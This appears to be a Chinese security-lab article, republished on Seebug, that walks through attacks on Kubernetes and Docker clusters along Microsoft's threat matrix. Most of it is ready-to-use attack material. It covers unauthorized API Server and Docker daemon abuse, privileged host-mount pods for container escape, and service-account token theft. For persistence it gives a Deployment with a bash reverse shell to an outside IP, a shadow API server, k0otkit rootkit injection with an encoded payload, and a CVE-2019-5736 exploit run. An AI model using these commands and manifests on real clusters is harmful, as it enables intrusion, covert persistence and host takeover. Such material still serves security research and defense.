作者:深信服千里目安全實驗室
原文鏈接:https://mp.weixin.qq.com/s/8lhmjPtLTlVkS1Q3-6-mHA
隨著越來越多企業踏上上云的步伐,在攻防演練中常常碰到云相關的場景,例如:公有云、私有云、混合云、虛擬化集群等。以往滲透路徑是「外網突破 -> 提權 -> 權限維持 -> 信息收集 -> 橫向移動 -> 循環收集信息」,直到獲得重要目標系統。但隨著業務上云以及虛擬化技術的引入改變了這種格局,也打開了新的入侵路徑,例如:
● 通過虛擬機攻擊云管理平臺,利用管理平臺控制所有機器。
● 通過容器進行逃逸,從而控制宿主機以及橫向滲透到K8s Master節點控制所有容器。
● 利用 KVM-QEMU/執行逃逸獲取宿主機,進入物理網絡橫向移動控制云平臺。
目前互聯網上針對云原生場景下的攻擊手法大都零零散散,僅有少部分廠商發布過相關矩陣技術,但都沒有過多的細節展示,本文基于微軟發布的 Kubernetes 威脅矩陣進行擴展,將深入介紹相關的具體攻擊方法。

初始訪問
● API Server 未授權訪問
● kubelet 未授權訪問
● Docker Daemon 公網暴露
● K8s configfile 泄露
API Server未授權訪問
API Server 作為 K8s 集群的管理入口,通常使用 8080 和 6443 端口,其中 8080 端口無需認證,6443端口需要認證且有 TLS 保護。如果開發者使用 8080 端口,并將其暴露在公網上,攻擊者就可以通過該端口的 API,直接對集群下發指令。
另一種場景是運維人員配置不當,將"system:anonymous"用戶綁定到"cluster-admin"用戶組,從而使6443 端口允許匿名用戶以管理員權限向集群內部下發指令。
#查看pods
https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500
#創建特權容器
https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test-4444","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test-4444","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
#執行命令
https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami
創建特權容器詳細解釋:

Docker Daemon 公網暴露
Docker 以 C/S 模式工作,其中 docker daemon 服務在后臺運行,負責管理容器的創建、運行和停止操作。
在Linux主機上,docker daemon監聽在/var/run/docker.sock中創建的unix socket,2375 端口用于未認證的 HTTP 通信,2376 用于可信 HTTPS 通信。
在最初版本安裝 Docker 時默認會把 2375 端口對外開放,目前默認只允許本地訪問。
管理員開啟遠程訪問的配置如下:
#開啟遠程訪問
vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 -containerd=/run/containerd/containerd.sock
Docker Daemon未授權訪問的檢測與利用:
#探測是否訪問未授權訪問
curl http://192.168.238.129:2375/info
docker -H tcp://192.168.238.129:2375 info
#推薦使用這種方式,操作方便。
export DOCKER_HOST="tcp://192.168.238.129:2375"
Docker Daemon未授權實戰案例:

K8s configfile 泄露
K8s configfile 作為 K8s 集群的管理憑證,其中包含有關 K8s 集群的詳細信息(API Server、登錄憑證)。
如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、泄露到 Github的代碼等),就可以直接通過 API Server 接管 K8s 集群,帶來風險隱患。
用戶憑證保存在 kubeconfig 文件中,kubectl 通過以下順序來找到 kubeconfig 文件:
-
如果提供了
--kubeconfig參數,就使用提供的kubeconfig文件。 -
如果沒有提供
--kubeconfig參數,但設置了環境變量$KUBECONFIG,則使用該環境變量提供的kubeconfig文件。 -
如果以上兩種情況都沒有,
kubectl就使用默認的kubeconfig文件$HOME/.kube/config。
拿到K8s configfile完整利用流程:
K8s configfile --> 創建后門Pod/掛載主機路徑 --> 通過Kubectl 進入容器 --> 利用掛載目錄逃逸。
#Linux安裝kubectl
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
#內容放入config、或指定選項,需要修改Server地址
kubectl --kubeconfig k8s.yaml
#獲取已接取的鏡像
kubectl get pods --all-namespaces --insecure-skip-tls-verify=true -o jsonpath="{..image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
#創建Pod pod.yaml,將宿主機根目錄掛載host文件
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
#在default命名空間中創建pod
kubectl apply -f pod.yaml -n default --insecure-skip-tls-verify=true
#進入容器中
kubectl exec -it test-444 bash -n default --insecure-skip-tls-verify=true
#切換bash,逃逸成功
cd /host
chroot ./ bash
執行
● 利用Service Account
○ CURL方式請求
○ kubectl方式請求
利用Service Account
K8s 集群創建的Pod 中,容器內部默認攜帶 K8s Service Account的認證憑據,路徑為:/run/secrets/kubernetes.io/serviceaccount/token
如運維配置不當沒有設置 RBAC (基于角色的訪問控制),那么攻擊者就可以通過 Pod 獲取到 Token 進行API Server認證。
在較低版本 v1.15.11 中, Kubernetes 默認是不會開啟 RBAC 控制,從 1.16 版本起,默認啟用 RBAC 訪問控制策略。從1.18開始,RBAC 已作為穩定的功能。
下面就是利用 Pod中的 Toke``` 訪問API Server `的一種場景:
#指向內部 API 服務器主機名
export APISERVER=https://${KUBERNETES_SERVICE_HOST}
#設置 ServiceAccount 令牌的路徑
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
#讀取 pods 命名空間并將其設置為變量。
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
#讀取 ServiceAccount 不記名令牌
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# CACERT 路徑
export CACERT=${SERVICEACCOUNT}/ca.crt
執行以下命令查看當前集群中所有Namespaces。
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
#寫入yaml,創建特權Pod
cat > nginx-pod.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: test-444
spec:
containers:
- name: test-444
image: nginx:1.14.2
volumeMounts:
- name: host
mountPath: /host
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF
#創建pod
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -k ${APISERVER}/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
#查看信息
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/default/pods/nginx
#執行命令
curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=ls&command=-l
or
api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=ls&command=-l&container=nginx&stdin=true&stdout=true&tty=true
持久化
● DaemonSets、Deployments
● Shadow API
● Rootkit
● cronjob持久化
Deployment
創建容器時,通過啟用 DaemonSets、Deployments,可以使容器和子容器即使被清理掉了也可以恢復,攻擊者經常利用這個特性進行持久化,涉及的概念有:
● ReplicationController(RC)
ReplicationController 確保在任何時候都有特定數量的 Pod 副本處于運行狀態。
● Replication Set(RS)
Replication Set簡稱RS,官方已經推薦我們使用 RS 和 Deployment 來代替 RC 了,實際上 RS 和 RC 的功能基本一致,目前唯一的一個區別就是RC 只支持基于等式的 selector。
● Deployment
主要職責和 RC 一樣,的都是保證 Pod 的數量和健康,二者大部分功能都是完全一致的,可以看成是一個升級版的 RC 控制器。官方組件 kube-dns、kube-proxy 也都是使用的Deployment來管理。
這里使用Deployment來部署后門
#dep.yaml
apiVersion: apps/v1
kind: Deployment #確保在任何時候都有特定數量的Pod副本處于運行狀態
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3 #指定Pod副本數量
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"] #反彈Shell
args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
securityContext:
privileged: true #特權模式
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
#創建
kubectl create -f dep.yaml
Shadow API Server
如果部署了一個shadow api server,那么該api server具有和集群中現在的api server一致的功能。同時開啟了全部k8s權限,接受匿名請求且不保存審計日志,這將方便攻擊者無痕跡的管理整個集群以及進行后續滲透行動。
Shadow API Server的配置與利用:
配置文件路徑:
/etc/systemd/system/kube-apiserver-test.service
#一鍵部署Shadow apiserver
./cdk run k8s-shadow-apiserver default
#一鍵部署將在配置文件中添加了如下選項:
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
#kcurl訪問與利用
./cdk kcurl anonymous get https://192.168.1.44:9443/api/v1/secrets
Rootkit
這里介紹一個 k8s 的 rootkit,k0otkit 是一種通用的后滲透技術,可用于對 Kubernetes 集群的滲透。使用 k0otkit,您可以以快速、隱蔽和連續的方式(反向 shell)操作目標 Kubernetes 集群中的所有節點。
K0otkit使用到的技術:
●DaemonSet和Secret資源(快速持續反彈、資源分離)
● kube-proxy鏡像(就地取材)
● 動態容器注入(高隱蔽性)
● Meterpreter(流量加密)
● 無文件攻擊(高隱蔽性)
#生成k0otkit
./pre_exp.sh
#監聽
./handle_multi_reverse_shell.sh
k0otkit.sh的內容復制到master執行:
volume_name=cache
mount_path=/var/kube-proxy-cache
ctr_name=kube-proxy-cache
binary_file=/usr/local/bin/kube-proxy-cache
payload_name=cache
secret_name=proxy-cache
secret_data_name=content
ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')
volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
name: $secret_name
namespace: kube-system
type: Opaque
data:
$secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA......
# inject malicious container into kube-proxy pod
kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
| sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n hostPath:\n path: /\n type: Directory\n" \
| sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n image: $image\n imagePullPolicy: IfNotPresent\n command: [\"sh\"]\n args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/,; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n env:\n - name: $payload_name\n valueFrom:\n secretKeyRef:\n name: $secret_name\n key: $secret_data_name\n securityContext:\n privileged: true\n volumeMounts:\n - mountPath: $mount_path\n name: $volume_name" \
| kubectl --kubeconfig /root/.kube/config replace -f -
cronjob持久化
CronJob用于執行周期性的動作,例如備份、報告生成等,攻擊者可以利用此功能持久化。
apiVersion: batch/v1
kind: CronJob #使用CronJob對象
metadata:
name: hello
spec:
schedule: "*/1 * * * *" #每分鐘執行一次
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- #反彈Shell或者木馬
restartPolicy: OnFailure
權限提升
● 特權容器逃逸
● Docker漏洞
● Linux Capabilities逃逸
特權容器逃逸
當容器啟動加上--privileged選項時,容器可以訪問宿主機上所有設備。
而K8s配置文件啟用了privileged: true:
spec:
containers:
- name: ubuntu
image: ubuntu:latest
securityContext:
privileged: true
實戰案例:
通過漏洞獲取WebShell,查看根目錄存在.dockerenv,可通過fdisk -l查看磁盤目錄,進行掛載目錄逃逸:
#Webshell下操作
fdisk -l
mkdir /tmp/test
mount /dev/sda3 /tmp/test
chroot /tmp/test bash

Docker漏洞
這里介紹兩個知名的docker逃逸漏洞。
CVE-2020-15257:
在Containerd 1.3.9版本之前和1.4.0~1.4.2版本,使用了--host網絡模式,會造成containerd-shim API暴露,通過調用API功能實現逃逸。
Host模式特點:
● 共享宿主機網絡
● 網絡性能無損耗
● 各容器網絡無隔離
● 網絡資源無法分別統計
● 端口管理困難
● 不支持端口映射
#判斷是否使用host模式
cat /proc/net/unix | grep 'containerd-shim'

#反彈宿主機的shell到遠端服務器
./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455

CVE-2019-5736:
當runc動態編譯時,會從容器鏡像中載入動態鏈接庫,導致加載惡意動態庫;當打開/prco/self/exe即runc時,會執行惡意動態鏈接庫中的惡意程序,由于惡意程序繼承runc打開的文件句柄,可以通過該文件句柄替換host上的runc。
此后,再次執行runc相關的命令,則會產生逃逸。
版本漏洞:
docker version <=18.09.2
RunC version <=1.0-rc6
利用過程:
#下載POC
https://github.com/Frichetten/CVE-2019-5736-PoC
#編譯
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
利用成功是將/etc/shadow文件復制到/tmp/目錄下
#將編譯的main復制到docker容器中,實戰是用WebShell上傳
docker cp main name:/home
cd /home/
chmod 777 main
./main
#此時等管理員進入容器將觸發:

或將第16行改為反彈Shell,獲得宿主機權限。

Capabilities
Capabilities是Linux一種安全機制,是在Linux內核2.2之后引入的,主要作用是權限更細粒度的控制。容器社區一直在努力將縱深防御、最小權限等理念和原則落地。
目前Docker已經將Capabilities黑名單機制改為了默認禁止所有Capabilities,再以白名單方式賦予容器運行所需的最小權限。
#查看Capabilitiescat
/proc/self/status | grep CapEff
capsh --print
Capabilities允許執行系統管理任務,如加載或卸載文件系統、設置磁盤配額等
● cap_sys_ptrace-container
● cap_sys_admin-container
● cap_dac_read_search-container
實際場景不多,逃逸方法參考掛載目錄方式。
探測
● 內網掃描
● K8s常用端口探測
● 集群內部網絡
集群內網掃描
Kubernetes的網絡中存在4種主要類型的通信
● 同一Pod內的容器間通信
● 各Pod彼此間通信
● Pod與Service間的通信
● 集群外部的流量與Service間的通信。
所以和常規內網滲透無區別,nmap、masscan等掃描
K8s常用端口探測

集群內部網絡
● Flannel網絡插件默認使用10.244.0.0/16網絡
●Calico默認使用192.168.0.0/16網絡
橫向移動
污點(Taint)橫向滲透
污點是K8s高級調度的特性,用于限制哪些Pod可以被調度到某一個節點。一般主節點包含一個污點,這個污點是阻止Pod調度到主節點上面,除非有Pod能容忍這個污點。而通常容忍這個污點的 Pod都是系統級別的Pod,例如kube-system

控制Pod創建時候的污點來向集群內的節點進行噴射創建。
#Node中查看節點信息
[root@node1 ~]# kubectl get nodes
NAME STATUS ROLES AGE VERSION
192.168.238.129 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.130 Ready,SchedulingDisabled master 30d v1.21.0
192.168.238.131 Ready node 30d v1.21.0
192.168.238.132 Ready node 30d v1.21.0
#確認Master節點的容忍度
[root@node1 ~]# kubectl describe nodes 192.168.238.130
Name: 192.168.238.130
Roles: master
Labels: beta.kubernetes.io/arch=amd64
beta.kubernetes.io/os=linux
kubernetes.io/arch=amd64
kubernetes.io/hostname=192.168.238.130
kubernetes.io/os=linux
kubernetes.io/role=master
Annotations: flannel.alpha.coreos.com/backend-data: {"VtepMAC":"66:3b:20:6a:eb:ff"}
flannel.alpha.coreos.com/backend-type: vxlan
flannel.alpha.coreos.com/kube-subnet-manager: true
flannel.alpha.coreos.com/public-ip: 192.168.238.130
node.alpha.kubernetes.io/ttl: 0
volumes.kubernetes.io/controller-managed-attach-detach: true
CreationTimestamp: Tue, 14 Sep 2021 17:41:30 +0800
Taints: node.kubernetes.io/unschedulable:NoSchedule
#創建帶有容忍參數的Pod
kubectl create -f control-master.yaml
#control-master.yaml內容:
apiVersion: v1
kind: Pod
metadata:
name: control-master-15
spec:
tolerations:
- key: node.kubernetes.io/unschedulable
operator: Exists
effect: NoSchedule
containers:
- name: control-master-15
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory

結論
● 目前黑產團伙通過批量掃描然后利用未授權進行挖礦。
● 當前攻防技術處于初級階段,但隨著云原生攻擊武器的發展,攻擊門檻也會相應降低。
● 虛擬機/容器逃逸攻擊、供應鏈攻擊等新型技術攻擊方式,將會呈現出快速增長的趨勢,此類攻擊難度很高,帶來的危害和影響也很大。
● 私有云部署在企業業務生產網,云的底座網絡、物理設備與業務網絡在同一安全域,大多時候缺乏有效隔離。
● 私有云產品屬于定制開發,使用大量第三方組件,會隨著時間和安全研究人員的研究而暴露。
參考鏈接
-
TeamTNT Targets Kubernetes, Nearly 50,000 IPs Compromised in Worm-like Attack
https://www.trendmicro.com/en_us/research/21/e/teamtnt-targets-kubernetes--nearly-50-000-ips-compromised.html -
Threat matrix for Kubernetes
https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/ -
Kubernetes Attack Surface
https://www.optiv.com/insights/source-zero/blog/kubernetes-attack-surface -
Attack methods and defenses on Kubernetes
https://dione.lib.unipi.gr/xmlui/handle/unipi/12888 -
CVE-2019-5736-Poc
https://github.com/Frichetten/CVE-2019-5736-PoC -
修復Docker操作系統命令注入漏洞公告(CVE-2019-5736)
https://support.huaweicloud.com/bulletin-cce/cce_bulletin_0015.html
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1803/
暫無評論